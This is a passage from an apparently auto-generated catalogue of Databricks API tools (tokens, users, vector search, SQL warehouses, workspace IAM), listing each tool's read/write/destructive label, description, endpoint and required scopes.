on) the table. For the latter case, the caller must also be the owner or have... GET /api/v1/tools/databricks/tables-list. Scopes: catalog:read. databricks_tables_list_summaries (read) — Gets an array of summaries for tables for a schema and catalog within the metastore. The table summaries returned are either: - summaries for tables (within the current metastore and parent catalog and schema), when the user is a metastore admin, or: -... GET /api/v1/tools/databricks/tables-list-summaries. Scopes: catalog:read. databricks_tables_update (write) — Change the owner of the table. The caller must be the owner of the parent catalog, have the **USE_CATALOG** privilege on the parent catalog and be the owner of the parent schema, or be the owner of the table and have the **USE_CATALOG** privilege on the... POST /api/v1/tools/databricks/tables-update. Scopes: catalog:write. databricks_tag_policies_create_tag_policy (write) — Creates a new tag policy, making the associated tag key governed. For Terraform usage, see the `Tag Policy Terraform documentation `__. To manage permissions for tag policies, use the `Account Access Control Proxy API `__. POST /api/v1/tools/databricks/tag-policies-create-tag-policy. Scopes: catalog:write. databricks_tag_policies_delete_tag_policy (write, destructive) — DESTRUCTIVE - Deletes a tag policy by its associated governed tag's key, leaving that tag key ungoverned. For Terraform usage, see the `Tag Policy Terraform documentation `__. POST /api/v1/tools/databricks/tag-policies-delete-tag-policy. Scopes: catalog:write. databricks_tag_policies_get_tag_policy (read) — Gets a single tag policy by its associated governed tag's key. For Terraform usage, see the `Tag Policy Terraform documentation `__. To list granted permissions for tag policies, use the `Account Access Control Proxy API `__. GET /api/v1/tools/databricks/tag-policies-get-tag-policy. Scopes: catalog:read. databricks_tag_policies_list_tag_policies (read) — Lists the tag policies for all governed tags in the account. For Terraform usage, see the `Tag Policy Terraform documentation `__. To list granted permissions for tag policies, use the `Account Access Control Proxy API `__. GET /api/v1/tools/databricks/tag-policies-list-tag-policies. Scopes: catalog:read. databricks_tag_policies_update_tag_policy (write) — Updates an existing tag policy for a single governed tag. For Terraform usage, see the `Tag Policy Terraform documentation `__. To manage permissions for tag policies, use the `Account Access Control Proxy API `__. POST /api/v1/tools/databricks/tag-policies-update-tag-policy. Scopes: catalog:write. databricks_temporary_path_credentials_generate_temporary_path_credentials (write) — Get a short-lived credential for directly accessing cloud storage locations registered in Databricks. The Generate Temporary Path Credentials API is only supported for external storage paths, specifically external locations and external tables. Managed... POST /api/v1/tools/databricks/temporary-path-credentials-generate-temporary-path-credentials. Scopes: catalog:write. databricks_temporary_table_credentials_generate_temporary_table_credentials (write) — Get a short-lived credential for directly accessing the table data on cloud storage. The metastore must have **external_access_enabled** flag set to true (default false). The caller must have the **EXTERNAL_USE_SCHEMA** privilege on the parent schema and... POST /api/v1/tools/databricks/temporary-table-credentials-generate-temporary-table-credentials. Scopes: catalog:write. databricks_temporary_volume_credentials_generate_temporary_volume_credentials (write) — Get a short-lived credential for directly accessing the volume data on cloud storage. The metastore must have **external_access_enabled** flag set to true (default false). The caller must have the **EXTERNAL_USE_SCHEMA** privilege on the parent schema and... POST /api/v1/tools/databricks/temporary-volume-credentials-generate-temporary-volume-credentials. Scopes: catalog:write. databricks_token_management_delete (write, destructive) — DESTRUCTIVE - Deletes a token, specified by its ID. POST /api/v1/tools/databricks/token-management-delete. Scopes: settings:write. databricks_token_management_get (read) — Gets information about a token, specified by its ID. GET /api/v1/tools/databricks/token-management-get. Scopes: settings:read. databricks_token_management_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/token-management-get-permission-levels. Scopes: settings:read. databricks_token_management_get_permissions (read) — Gets the permissions of all tokens. Tokens can inherit permissions from their root object. GET /api/v1/tools/databricks/token-management-get-permissions. Scopes: settings:read. databricks_token_management_list (read) — Lists all tokens associated with the specified workspace or user. GET /api/v1/tools/databricks/token-management-list. Scopes: settings:read. databricks_token_management_update_token_management (write) — Updates a token, specified by its ID. PATCH /api/2.0/token-management/tokens/{token_id} on Databricks. Requires token_id, token, update_mask. POST /api/v1/tools/databricks/token-management-update-token-management. Scopes: settings:write. databricks_tokens_delete (write, destructive) — DESTRUCTIVE - Revokes an access token. If a token with the specified ID is not valid, this call returns an error **RESOURCE_DOES_NOT_EXIST**. POST /api/v1/tools/databricks/tokens-delete. Scopes: settings:write. databricks_tokens_list (read) — Lists all the valid tokens for a user-workspace pair. GET /api/v1/tools/databricks/tokens-list. Scopes: settings:read. databricks_tokens_update (write) — Updates the comment or scopes of a token. If a token with the specified ID is not valid, this call returns an error **NOT_FOUND**. POST /api/v1/tools/databricks/tokens-update. Scopes: settings:write. databricks_users_create (write) — Creates a new user in the Databricks workspace. This new user will also be added to the Databricks account. POST /api/v1/tools/databricks/users-create. Scopes: iam:write. databricks_users_delete (write, destructive) — DESTRUCTIVE - Deletes a user. Deleting a user from a Databricks workspace also removes objects associated with the user. POST /api/v1/tools/databricks/users-delete. Scopes: iam:write. databricks_users_get (read) — Gets information for a specific user in Databricks workspace. GET /api/v1/tools/databricks/users-get. Scopes: iam:read. databricks_users_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/users-get-permission-levels. Scopes: iam:read. databricks_users_get_permissions (read) — Gets the permissions of all passwords. Passwords can inherit permissions from their root object. GET /api/v1/tools/databricks/users-get-permissions. Scopes: iam:read. databricks_users_list (read) — Gets details for all the users associated with a Databricks workspace. GET /api/v1/tools/databricks/users-list. Scopes: iam:read. databricks_users_patch (write) — Partially updates a user resource by applying the supplied operations on specific user attributes. POST /api/v1/tools/databricks/users-patch. Scopes: iam:write. databricks_users_update (write) — Replaces a user's information with the data supplied in request. POST /api/v1/tools/databricks/users-update. Scopes: iam:write. databricks_users_v2_create (write) — Creates a new user in the Databricks workspace. This new user will also be added to the Databricks account. POST /api/v1/tools/databricks/users-v2-create. Scopes: iam:write. databricks_users_v2_delete (write, destructive) — DESTRUCTIVE - Deletes a user. Deleting a user from a Databricks workspace also removes objects associated with the user. POST /api/v1/tools/databricks/users-v2-delete. Scopes: iam:write. databricks_users_v2_get (read) — Gets information for a specific user in Databricks workspace. GET /api/v1/tools/databricks/users-v2-get. Scopes: iam:read. databricks_users_v2_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/users-v2-get-permission-levels. Scopes: iam:read. databricks_users_v2_get_permissions (read) — Gets the permissions of all passwords. Passwords can inherit permissions from their root object. GET /api/v1/tools/databricks/users-v2-get-permissions. Scopes: iam:read. databricks_users_v2_list (read) — Gets details for all the users associated with a Databricks workspace. GET /api/v1/tools/databricks/users-v2-list. Scopes: iam:read. databricks_users_v2_patch (write) — Partially updates a user resource by applying the supplied operations on specific user attributes. The ``userName`` and ``emails`` attributes cannot be updated through this API; any supplied changes to them are ignored (no-op). POST /api/v1/tools/databricks/users-v2-patch. Scopes: iam:write. databricks_users_v2_update (write) — Replaces a user's information with the data supplied in request. The ``userName`` and ``emails`` attributes cannot be updated through this API; any supplied changes to them are ignored (no-op). POST /api/v1/tools/databricks/users-v2-update. Scopes: iam:write. databricks_vector_search_endpoints_create_endpoint (write) — Create a new endpoint. POST /api/2.0/vector-search/endpoints on Databricks. Requires name, endpoint_type. POST /api/v1/tools/databricks/vector-search-endpoints-create-endpoint. Scopes: ml:write. databricks_vector_search_endpoints_delete_endpoint (write, destructive) — DESTRUCTIVE - Delete an AI Search endpoint. POST /api/v1/tools/databricks/vector-search-endpoints-delete-endpoint. Scopes: ml:write. databricks_vector_search_endpoints_get_endpoint (read) — Get details for a single AI Search endpoint. GET /api/v1/tools/databricks/vector-search-endpoints-get-endpoint. Scopes: ml:read. databricks_vector_search_endpoints_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/vector-search-endpoints-get-permission-levels. Scopes: ml:read. databricks_vector_search_endpoints_get_permissions (read) — Gets the permissions of a vector search endpoint. Vector search endpoints can inherit permissions from their root object. GET /api/v1/tools/databricks/vector-search-endpoints-get-permissions. Scopes: ml:read. databricks_vector_search_endpoints_list_endpoints (read) — List all AI Search endpoints in the workspace. GET /api/v1/tools/databricks/vector-search-endpoints-list-endpoints. Scopes: ml:read. databricks_vector_search_endpoints_patch_endpoint (write) — Update an endpoint. PATCH /api/2.0/vector-search/endpoints/{endpoint_name} on Databricks. Requires endpoint_name. POST /api/v1/tools/databricks/vector-search-endpoints-patch-endpoint. Scopes: ml:write. databricks_vector_search_endpoints_patch_endpoint_throughput (write) — Update the throughput (concurrency) of an endpoint POST /api/v1/tools/databricks/vector-search-endpoints-patch-endpoint-throughput. Scopes: ml:write. databricks_vector_search_endpoints_retrieve_user_visible_metrics (write) — Retrieve user-visible metrics for an endpoint POST /api/v1/tools/databricks/vector-search-endpoints-retrieve-user-visible-metrics. Scopes: ml:write. databricks_vector_search_endpoints_update_endpoint_budget_policy (write) — Update the budget policy of an endpoint. PATCH /api/2.0/vector-search/endpoints/{endpoint_name}/budget-policy on Databricks. Requires endpoint_name, budget_policy_id. POST /api/v1/tools/databricks/vector-search-endpoints-update-endpoint-budget-policy. Scopes: ml:write. databricks_vector_search_endpoints_update_endpoint_custom_tags (write) — Update the custom tags of an endpoint. PATCH /api/2.0/vector-search/endpoints/{endpoint_name}/tags on Databricks. Requires endpoint_name, custom_tags. POST /api/v1/tools/databricks/vector-search-endpoints-update-endpoint-custom-tags. Scopes: ml:write. databricks_vector_search_indexes_create_index (write) — Create a new index. POST /api/2.0/vector-search/indexes on Databricks. Requires name, endpoint_name, primary_key, index_type. POST /api/v1/tools/databricks/vector-search-indexes-create-index. Scopes: ml:write. databricks_vector_search_indexes_delete_data_vector_index (write, destructive) — DESTRUCTIVE - Handles the deletion of data from a specified vector index. POST /api/v1/tools/databricks/vector-search-indexes-delete-data-vector-index. Scopes: ml:write. databricks_vector_search_indexes_delete_index (write, destructive) — DESTRUCTIVE — Delete an index. DELETE /api/2.0/vector-search/indexes/{index_name} on Databricks. Requires index_name. POST /api/v1/tools/databricks/vector-search-indexes-delete-index. Scopes: ml:write. databricks_vector_search_indexes_get_auto_eval_status (read) — Returns the status of the latest autoeval run for a vector index. GET /api/v1/tools/databricks/vector-search-indexes-get-auto-eval-status. Scopes: ml:read. databricks_vector_search_indexes_get_index (read) — Get an index. GET /api/2.0/vector-search/indexes/{index_name} on Databricks. Requires index_name. GET /api/v1/tools/databricks/vector-search-indexes-get-index. Scopes: ml:read. databricks_vector_search_indexes_list_indexes (read) — List all indexes in the given endpoint. GET /api/2.0/vector-search/indexes on Databricks. Requires endpoint_name. GET /api/v1/tools/databricks/vector-search-indexes-list-indexes. Scopes: ml:read. databricks_vector_search_indexes_query_index (write) — Query the specified vector index. POST /api/2.0/vector-search/indexes/{index_name}/query on Databricks. Requires index_name, columns. POST /api/v1/tools/databricks/vector-search-indexes-query-index. Scopes: ml:write. databricks_vector_search_indexes_query_next_page (write) — Use ``next_page_token`` returned from previous ``QueryVectorIndex`` or ``QueryVectorIndexNextPage`` request to fetch next page of results. POST /api/v1/tools/databricks/vector-search-indexes-query-next-page. Scopes: ml:write. databricks_vector_search_indexes_run_auto_eval (write) — Triggers an autoeval quality evaluation for a vector index. POST /api/v1/tools/databricks/vector-search-indexes-run-auto-eval. Scopes: ml:write. databricks_vector_search_indexes_run_reranker_finetuning (write) — Triggers reranker finetuning for a vector index. POST /api/v1/tools/databricks/vector-search-indexes-run-reranker-finetuning. Scopes: ml:write. databricks_vector_search_indexes_scan_index (write) — Scan the specified vector index and return the first ``num_results`` entries after the exclusive ``primary_key``. POST /api/v1/tools/databricks/vector-search-indexes-scan-index. Scopes: ml:write. databricks_vector_search_indexes_sync_index (write) — Triggers a synchronization process for a specified vector index. POST /api/v1/tools/databricks/vector-search-indexes-sync-index. Scopes: ml:write. databricks_vector_search_indexes_update_index_budget_policy (write) — Update the budget policy of an index. PATCH /api/2.0/vector-search/indexes/{index_name}/usage-policy on Databricks. Requires index_name. POST /api/v1/tools/databricks/vector-search-indexes-update-index-budget-policy. Scopes: ml:write. databricks_vector_search_indexes_upsert_data_vector_index (write) — Handles the upserting of data into a specified vector index. POST /api/v1/tools/databricks/vector-search-indexes-upsert-data-vector-index. Scopes: ml:write. databricks_volumes_create (write) — Creates a new volume. The user could create either an external volume or a managed volume. An external volume will be created in the specified external location, while a managed volume will be located in the default location which is specified by the parent... POST /api/v1/tools/databricks/volumes-create. Scopes: catalog:write. databricks_volumes_delete (write, destructive) — DESTRUCTIVE - Deletes a volume from the specified parent catalog and schema. The caller must be a metastore admin or an owner of the volume. For the latter case, the caller must also be the owner or have the **USE_CATALOG** privilege on the parent catalog and... POST /api/v1/tools/databricks/volumes-delete. Scopes: catalog:write. databricks_volumes_list (read) — Gets an array of volumes for the current metastore under the parent catalog and schema. The returned volumes are filtered based on the privileges of the calling user. For example, the metastore admin is able to list all the volumes. A regular user needs to... GET /api/v1/tools/databricks/volumes-list. Scopes: catalog:read. databricks_volumes_read (read) — Gets a volume from the metastore for a specific catalog and schema. The caller must be a metastore admin or an owner of (or have the **READ VOLUME** privilege on) the volume. For the latter case, the caller must also be the owner or have the **USE_CATALOG**... GET /api/v1/tools/databricks/volumes-read. Scopes: catalog:read. databricks_volumes_update (write) — Updates the specified volume under the specified parent catalog and schema. The caller must be a metastore admin or an owner of the volume. For the latter case, the caller must also be the owner or have the **USE_CATALOG** privilege on the parent catalog... POST /api/v1/tools/databricks/volumes-update. Scopes: catalog:write. databricks_warehouses_create (write) — Creates a new SQL warehouse. POST /api/2.0/sql/warehouses on Databricks. POST /api/v1/tools/databricks/warehouses-create. Scopes: sql:write. databricks_warehouses_create_default_warehouse_override (write) — Creates a new default warehouse override for a user. Users can create their own override. Admins can create overrides for any user. POST /api/v1/tools/databricks/warehouses-create-default-warehouse-override. Scopes: sql:write. databricks_warehouses_delete (write, destructive) — DESTRUCTIVE — Deletes a SQL warehouse. DELETE /api/2.0/sql/warehouses/{id} on Databricks. Requires id. POST /api/v1/tools/databricks/warehouses-delete. Scopes: sql:write. databricks_warehouses_delete_default_warehouse_override (write, destructive) — DESTRUCTIVE - Deletes the default warehouse override for a user. Users can delete their own override. Admins can delete overrides for any user. After deletion, the workspace default warehouse will be used. POST /api/v1/tools/databricks/warehouses-delete-default-warehouse-override. Scopes: sql:write. databricks_warehouses_edit (write) — Updates the configuration for a SQL warehouse. POST /api/v1/tools/databricks/warehouses-edit. Scopes: sql:write. databricks_warehouses_get (read) — Gets the information for a single SQL warehouse. GET /api/v1/tools/databricks/warehouses-get. Scopes: sql:read. databricks_warehouses_get_default_warehouse_override (read) — Returns the default warehouse override for a user. Users can fetch their own override. Admins can fetch overrides for any user. If no override exists, the UI will fallback to the workspace default warehouse. GET /api/v1/tools/databricks/warehouses-get-default-warehouse-override. Scopes: sql:read. databricks_warehouses_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/warehouses-get-permission-levels. Scopes: sql:read. databricks_warehouses_get_permissions (read) — Gets the permissions of a SQL warehouse. SQL warehouses can inherit permissions from their root object. GET /api/v1/tools/databricks/warehouses-get-permissions. Scopes: sql:read. databricks_warehouses_get_workspace_warehouse_config (read) — Gets the workspace level configuration that is shared by all SQL warehouses in a workspace. GET /api/v1/tools/databricks/warehouses-get-workspace-warehouse-config. Scopes: sql:read. databricks_warehouses_list (read) — Lists all SQL warehouses that a user has access to. GET /api/v1/tools/databricks/warehouses-list. Scopes: sql:read. databricks_warehouses_list_default_warehouse_overrides (read) — Lists all default warehouse overrides in the workspace. Only workspace administrators can list all overrides. GET /api/v1/tools/databricks/warehouses-list-default-warehouse-overrides. Scopes: sql:read. databricks_warehouses_set_workspace_warehouse_config (write) — Sets the workspace level configuration that is shared by all SQL warehouses in a workspace. POST /api/v1/tools/databricks/warehouses-set-workspace-warehouse-config. Scopes: sql:write. databricks_warehouses_start (write) — Starts a SQL warehouse. POST /api/2.0/sql/warehouses/{id}/start on Databricks. Requires id. POST /api/v1/tools/databricks/warehouses-start. Scopes: sql:write. databricks_warehouses_stop (write) — Stops a SQL warehouse. POST /api/2.0/sql/warehouses/{id}/stop on Databricks. Requires id. POST /api/v1/tools/databricks/warehouses-stop. Scopes: sql:write. databricks_warehouses_update_default_warehouse_override (write) — Updates an existing default warehouse override for a user. Users can update their own override. Admins can update overrides for any user. POST /api/v1/tools/databricks/warehouses-update-default-warehouse-override. Scopes: sql:write. databricks_workspace_bindings_get (read) — Gets workspace bindings of the catalog. The caller must be a metastore admin or an owner of the catalog. GET /api/v1/tools/databricks/workspace-bindings-get. Scopes: catalog:read. databricks_workspace_bindings_get_bindings (read) — Gets workspace bindings of the securable. The caller must be a metastore admin or an owner of the securable. NOTE: we recommend using max_results=0 to use the paginated version of this API. Unpaginated calls will be deprecated soon. PAGINATION BEHAVIOR... GET /api/v1/tools/databricks/workspace-bindings-get-bindings. Scopes: catalog:read. databricks_workspace_bindings_update (write) — Updates workspace bindings of the catalog. The caller must be a metastore admin or an owner of the catalog. POST /api/v1/tools/databricks/workspace-bindings-update. Scopes: catalog:write. databricks_workspace_bindings_update_bindings (write) — Updates workspace bindings of the securable. The caller must be a metastore admin or an owner of the securable. POST /api/v1/tools/databricks/workspace-bindings-update-bindings. Scopes: catalog:write. databricks_workspace_conf_get_status (read) — Gets the configuration status for a workspace. GET /api/v1/tools/databricks/workspace-conf-get-status. Scopes: settings:read. databricks_workspace_conf_set_status (write) — Sets the configuration status for a workspace, including enabling or disabling it. POST /api/v1/tools/databricks/workspace-conf-set-status. Scopes: settings:write. databricks_workspace_delete (write, destructive) — DESTRUCTIVE - Deletes an object or a directory (and optionally recursively deletes all objects in the directory). - If ``path`` does not exist, this call returns an error ``RESOURCE_DOES_NOT_EXIST``. - If ``path`` is a non-empty directory and ``recursive`` is... POST /api/v1/tools/databricks/workspace-delete. Scopes: workspace:write. databricks_workspace_entity_tag_assignments_create_tag_assignment (write) — Create a tag assignment. POST /api/2.0/entity-tag-assignments on Databricks. POST /api/v1/tools/databricks/workspace-entity-tag-assignments-create-tag-assignment. Scopes: catalog:write. databricks_workspace_entity_tag_assignments_delete_tag_assignment (write, destructive) — DESTRUCTIVE — Delete a tag assignment. DELETE /api/2.0/entity-tag-assignments/{entity_type}/{entity_id}/tags/{tag_key} on Databricks. Requires entity_type, entity_id, tag_key. POST /api/v1/tools/databricks/workspace-entity-tag-assignments-delete-tag-assignment. Scopes: catalog:write. databricks_workspace_entity_tag_assignments_get_tag_assignment (read) — Get a tag assignment. GET /api/2.0/entity-tag-assignments/{entity_type}/{entity_id}/tags/{tag_key} on Databricks. Requires entity_type, entity_id, tag_key. GET /api/v1/tools/databricks/workspace-entity-tag-assignments-get-tag-assignment. Scopes: catalog:read. databricks_workspace_entity_tag_assignments_list_tag_assignments (read) — List the tag assignments for an entity. GET /api/2.0/entity-tag-assignments/{entity_type}/{entity_id}/tags on Databricks. Requires entity_type, entity_id. GET /api/v1/tools/databricks/workspace-entity-tag-assignments-list-tag-assignments. Scopes: catalog:read. databricks_workspace_entity_tag_assignments_update_tag_assignment (write) — Update a tag assignment. PATCH /api/2.0/entity-tag-assignments/{entity_type}/{entity_id}/tags/{tag_key} on Databricks. Requires entity_type, entity_id, tag_key, update_mask. POST /api/v1/tools/databricks/workspace-entity-tag-assignments-update-tag-assignment. Scopes: catalog:write. databricks_workspace_export (read) — Exports an object or the contents of an entire directory. If ``path`` does not exist, this call returns an error ``RESOURCE_DOES_NOT_EXIST``. If the exported data would exceed size limit, this call returns ``MAX_NOTEBOOK_SIZE_EXCEEDED``. Currently, this API... GET /api/v1/tools/databricks/workspace-export. Scopes: workspace:read. databricks_workspace_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/workspace-get-permission-levels. Scopes: workspace:read. databricks_workspace_get_permissions (read) — Gets the permissions of a workspace object. Workspace objects can inherit permissions from their parent objects or root object. GET /api/v1/tools/databricks/workspace-get-permissions. Scopes: workspace:read. databricks_workspace_get_status (read) — Gets the status of an object or a directory. If ``path`` does not exist, this call returns an error ``RESOURCE_DOES_NOT_EXIST``. GET /api/v1/tools/databricks/workspace-get-status. Scopes: workspace:read. databricks_workspace_iam_v2_create_direct_group_member_proxy (write) — Creates a group membership (assigns a principal to a group). POST /api/v1/tools/databricks/workspace-iam-v2-create-direct-group-member-proxy. Scopes: iam:write. databricks_workspace_iam_v2_create_group_proxy (write) — Creates a local group in the Databricks account that parents the calling workspace and returns the created group. A local group is one that is not synced from the customer's identity provider, and can be created whether or not Account Identity Management... POST /api/v1/tools/databricks/workspace-iam-v2-create-group-proxy. Scopes: iam:write. databricks_workspace_iam_v2_create_service_principal_proxy (write) — Creates a local service principal in the Databricks account that parents the calling workspace and returns the created service principal. A local service principal is one that is not synced from the customer's identity provider, and can be created whether... POST /api/v1/tools/databricks/workspace-iam-v2-create-service-principal-proxy. Scopes: iam:write. databricks_workspace_iam_v2_create_user_proxy (write) — Creates a local user in the Databricks account that parents the calling workspace and returns the created user. A local user is one that is not synced from the customer's identity provider, and can be created whether or not Account Identity Management (AIM)... POST /api/v1/tools/databricks/workspace-iam-v2-create-user-proxy. Scopes: iam:write. databricks_workspace_iam_v2_create_workspace_assignment_detail_proxy (write) — Creates a workspace assignment detail for a principal in the calling workspace. Entitlements are granted one at a time rather than atomically. If the request fails partway through, the principal stays assigned to the workspace with only some of the... POST /api/v1/tools/databricks/workspace-iam-v2-create-workspace-assignment-detail-proxy. Scopes: iam:write. databricks_workspace_iam_v2_create_workspace_assignment_proxy (write) — Creates a workspace assignment for a principal in the calling workspace. Entitlements are granted one at a time rather than atomically. If the request fails partway through, the principal stays assigned to the workspace with only some of the requested... POST /api/v1/tools/databricks/workspace-iam-v2-create-workspace-assignment-proxy. Scopes: iam:write. databricks_workspace_iam_v2_delete_direct_group_member_proxy (write, destructive) — DESTRUCTIVE - Deletes a group membership (unassigns a principal from a group). POST /api/v1/tools/databricks/workspace-iam-v2-delete-direct-group-member-proxy. Scopes: iam:write. databricks_workspace_iam_v2_delete_group_proxy (write, destructive) — DESTRUCTIVE - Deletes a group by its internal ID from the Databricks account that parents the calling workspace. POST /api/v1/tools/databricks/workspace-iam-v2-delete-group-proxy. Scopes: iam:write. databricks_workspace_iam_v2_delete_service_principal_proxy (write, destructive) — DESTRUCTIVE - Deletes a service principal by its internal ID from the Databricks account that parents the calling workspace. POST /api/v1/tools/databricks/workspace-iam-v2-delete-service-principal-proxy. Scopes: iam:write. databricks_workspace_iam_v2_delete_user_proxy (write, destructive) — DESTRUCTIVE - Deletes a user by its internal ID from the Databricks account that parents the calling workspace. POST /api/v1/tools/databricks/workspace-iam-v2-delete-user-proxy. Scopes: iam:write. databricks_workspace_iam_v2_delete_workspace_assignment_detail_proxy (write, destructive) — DESTRUCTIVE - Deletes a workspace assignment detail for a principal in the calling workspace, revoking all of its entitlements. Entitlements are revoked one at a time rather than atomically. If the request fails partway through, the principal stays assigned... POST /api/v1/tools/databricks/workspace-iam-v2-delete-workspace-assignment-detail-proxy. Scopes: iam:write. databricks_workspace_iam_v2_delete_workspace_assignment_proxy (write, destructive) — DESTRUCTIVE - Deletes a workspace assignment for a principal in the calling workspace, revoking all of its entitlements. Entitlements are revoked one at a time rather than atomically. If the request fails partway through, the principal stays assigned with... POST /api/v1/tools/databricks/workspace-iam-v2-delete-workspace-assignment-proxy. Scopes: iam:write. databricks_workspace_iam_v2_get_direct_group_member_proxy (read) — Gets a provisioned direct member of a group. GET /api/v1/tools/databricks/workspace-iam-v2-get-direct-group-member-proxy. Scopes: iam:read. databricks_workspace_iam_v2_get_external_group_proxy (read) — Retrieves an external group with the given external ID from the customer's IdP. If the group does not exist, it will be created in the account. If the customer is not onboarded onto Automatic Identity Management (AIM), this will return an error... GET /api/v1/tools/databricks/workspace-iam-v2-get-external-group-proxy. Scopes: iam:read. databricks_workspace_iam_v2_get_external_service_principal_proxy (read) — Retrieves an external service principal with the given external ID from the customer's IdP. If the service principal does not exist, it will be created. If the customer is not onboarded onto Automatic Identity Management (AIM), this will return an error... GET /api/v1/tools/databricks/workspace-iam-v2-get-external-service-principal-proxy. Scopes: iam:read. databricks_workspace_iam_v2_get_external_user_proxy (read) — Retrieves an external user with the given external ID from the customer's IdP. If the user does not exist, it will be created. If the customer is not onboarded onto Automatic Identity Management (AIM), this will return an error. Workspace-scoped variant for... GET /api/v1/tools/databricks/workspace-iam-v2-get-external-user-proxy. Scopes: iam:read. databricks_workspace_iam_v2_get_group_proxy (read) — Fetches a group by its internal ID from the Databricks account that parents the calling workspace. GET /api/v1/tools/databricks/workspace-iam-v2-get-group-proxy. Scopes: iam:read. databricks_workspace_iam_v2_get_service_principal_proxy (read) — Fetches a service principal by its internal ID from the Databricks account that parents the calling workspace. GET /api/v1/tools/databricks/workspace-iam-v2-get-service-principal-proxy. Scopes: iam:read. databricks_workspace_iam_v2_get_user_proxy (read) — Fetches a user by its internal ID from the Databricks account that parents the calling workspace. GET /api/v1/tools/databricks/workspace-iam-v2-get-user-proxy. Scopes: iam:read. databricks_workspace_iam_v2_get_workspace_access_detail_local (read) — Returns the access details for a principal in the current workspace. Allows for checking access details for any provisioned principal (user, service principal, or group) in the current workspace. - Provisioned principal here refers to one that has been... GET /api/v1/tools/databricks/workspace-iam-v2-get-workspace-access-detail-local. Scopes: iam:read. databricks_workspace_iam_v2_get_workspace_assignment_detail_proxy (read) — Returns the assignment details for a principal in the calling workspace. GET /api/v1/tools/databricks/workspace-iam-v2-get-workspace-assignment-detail-proxy. Scopes: iam:read. databricks_workspace_iam_v2_get_workspace_assignment_proxy (read) — Returns the assignment for a principal in the calling workspace. GET /api/v1/tools/databricks/workspace-iam-v2-get-workspace-assignment-proxy. Scopes: iam:read. databricks_workspace_iam_v2_get_workspace_identity_detail (read) — Returns the identity details for a principal in a workspace. GET /api/v1/tools/databricks/workspace-iam-v2-get-workspace-identity-detail. Scopes: iam:read. databricks_workspace_iam_v2_list_direct_group_members_proxy (read) — Lists provisioned direct members of a group with their membership source (internal or from identity provider). GET /api/v1/tools/databricks/workspace-iam-v2-list-direct-group-members-proxy. Scopes: iam:read. databricks_workspace_iam_v2_list_groups_proxy (read) — Lists the groups in the Databricks account that parents the calling workspace, returning one page per call. Supports filtering by group name or external ID. GET /api/v1/tools/databricks/workspace-iam-v2-list-groups-proxy. Scopes: iam:read. databricks_workspace_iam_v2_list_service_principals_proxy (read) — Lists the service principals in the Databricks account that parents the calling workspace, returning one page per call. Supports filtering by application ID or external ID. GET /api/v1/tools/databricks/workspace-iam-v2-list-service-principals-proxy. Scopes: iam:read. databricks_workspace_iam_v2_list_transitive_parent_groups_proxy (read) — Lists all transitive parent groups of a principal. GET /api/v1/tools/databricks/workspace-iam-v2-list-transitive-parent-groups-proxy. Scopes: iam:read. databricks_workspace_iam_v2_list_users_proxy (read) — Lists the users in the Databricks account that parents the calling workspace, returning one page per call. Supports filtering by username or external ID. GET /api/v1/tools/databricks/workspace-iam-v2-list-users-proxy. Scopes: iam:read. databricks_workspace_iam_v2_list_workspace_access_details_local (read) — Lists the access details of every provisioned principal (user, service principal, or group) with access to the current workspace, returning one page per call. - Provisioned principal here refers to one that has been synced into Databricks from the... GET /api/v1/tools/databricks/workspace-iam-v2-list-workspace-access-details-local. Scopes: iam:read. databricks_workspace_iam_v2_list_workspace_assignment_details_proxy (read) — Lists workspace assignment details for the calling workspace. The response omits the per-principal entitlement fields (``entitlements`` and ``effective_entitlements``). To read the entitlements for a single principal, get that principal's assignment detail. GET /api/v1/tools/databricks/workspace-iam-v2-list-workspace-assignment-details-proxy. Scopes: iam:read. databricks_workspace_iam_v2_list_workspace_assignments_proxy (read) — Lists workspace assignments for the calling workspace. The response omits the per-principal entitlement fields (``entitlements`` and ``effective_entitlements``). To read the entitlements for a single principal, get that principal's assignment. GET /api/v1/tools/databricks/workspace-iam-v2-list-workspace-assignments-proxy. Scopes: iam:read. databricks_workspace_iam_v2_resolve_group_proxy (write) — Resolves a group with the given external ID from the customer's IdP. If the group does not exist, it will be created in the account. If the customer is not onboarded onto Automatic Identity Management (AIM), this will return an error. POST /api/v1/tools/databricks/workspace-iam-v2-resolve-group-proxy. Scopes: iam:write. databricks_workspace_iam_v2_resolve_service_principal_proxy (write) — Resolves a service principal with the given external ID from the customer's IdP. If the service principal does not exist, it will be created. If the customer is not onboarded onto Automatic Identity Management (AIM), this will return an error. POST /api/v1/tools/databricks/workspace-iam-v2-resolve-service-principal-proxy. Scopes: iam:write. databricks_workspace_iam_v2_resolve_user_proxy (write) — Resolves a user with the given external ID from the customer's IdP. If the user does not exist, it will be created. If the customer is not onboarded onto Automatic Identity Management (AIM), this will return an error. POST /api/v1/tools/databricks/workspace-iam-v2-resolve-user-proxy. Scopes: iam:write. databricks_workspace_iam_v2_update_group_proxy (write) — Updates an existing group in the Databricks account that parents the calling workspace. Only the fields named in the update mask are modified. Returns the updated Group resource. When AIM is enabled and the group is an external identity (its external_id is... POST /api/v1/tools/databricks/workspace-iam-v2-update-group-proxy. Scopes: iam:write. databricks_workspace_iam_v2_update_service_principal_proxy (write) — Updates an existing service principal in the Databricks account that parents the calling workspace. Only the fields named in the update mask are modified. Returns the updated ServicePrincipal resource. When AIM is enabled and the service principal is an... POST /api/v1/tools/databricks/workspace-iam-v2-update-service-principal-proxy. Scopes: iam:write. databricks_workspace_iam_v2_update_user_proxy (write) — Updates an existing user in the Databricks account that parents the calling workspace and returns the updated user. Only the fields named in the update mask are modified. The updatable fields are fullName.givenName, fullName.familyName, status, and... POST /api/v1/tools/databricks/workspace-iam-v2-update-user-proxy. Scopes: iam:write. databricks_workspace_iam_v2_update_workspace_assignment_detail_proxy (write) — Updates the entitlements of a directly assigned principal in the calling workspace. Changes are applied one at a time rather than atomically. If the request fails partway through, only some of the requested changes take effect. Get the assignment detail... POST /api/v1/tools/databricks/workspace-iam-v2-update-workspace-assignment-detail-proxy. Scopes: iam:write. databricks_workspace_iam_v2_update_workspace_assignment_proxy (write) — Updates the entitlements of a directly 